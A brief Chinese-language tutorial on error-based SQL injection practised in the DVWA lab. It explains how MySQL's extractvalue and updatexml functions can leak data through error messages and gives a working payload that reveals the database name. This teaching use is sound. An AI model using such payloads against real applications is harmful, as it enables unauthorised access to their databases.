本次注入采用DVWA靶场,靶场等级Low,数据库mysql
基于报错的注入
利用mysql自身函数的漏洞来获取数据
例如
select * from 表 where id = 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from 表 where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
0x7e 是字符~ 的ascii 码的十六进制表示
实战:
目标: 查询到当前库名
1’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) –
库名为’dvwa’ 会显示在报错信息中